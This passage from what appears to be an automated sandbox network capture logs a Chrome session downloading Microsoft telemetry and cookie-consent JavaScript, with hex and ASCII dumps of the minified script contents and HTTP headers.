"+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=functio
2024-11-16 03:33:37 UTC	16384	IN	Data Raw: 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 Data Ascii: g.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPag
2024-11-16 03:33:37 UTC	16384	IN	Data Raw: 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e Data Ascii: urn!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].n
2024-11-16 03:33:37 UTC	16384	IN	Data Raw: 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 Data Ascii: bAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="
2024-11-16 03:33:37 UTC	16384	IN	Data Raw: 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 Data Ascii: v])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 03:33:38 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=133911 Date: Sat, 16 Nov 2024 03:33:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	13.107.246.45	443	1368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:38 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 03:33:38 UTC	868	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:38 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: f82a7196-301e-006a-3e55-34f8b2000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241116T033338Z-164f84587bfdx9djhC1DFW956g00000002ag00000000dtfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:38 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-16 03:33:38 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	13.107.246.45	443	1368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:38 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 03:33:39 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:38 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22649 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b693942f-d01e-0027-39a3-373a85000000 x-ms-version: 2009-09-19 x-azure-ref: 20241116T033338Z-1866b5c5fbbldb6rhC1DFW4bew00000002eg00000000at8k Accept-Ranges: bytes
2024-11-16 03:33:39 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-16 03:33:39 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
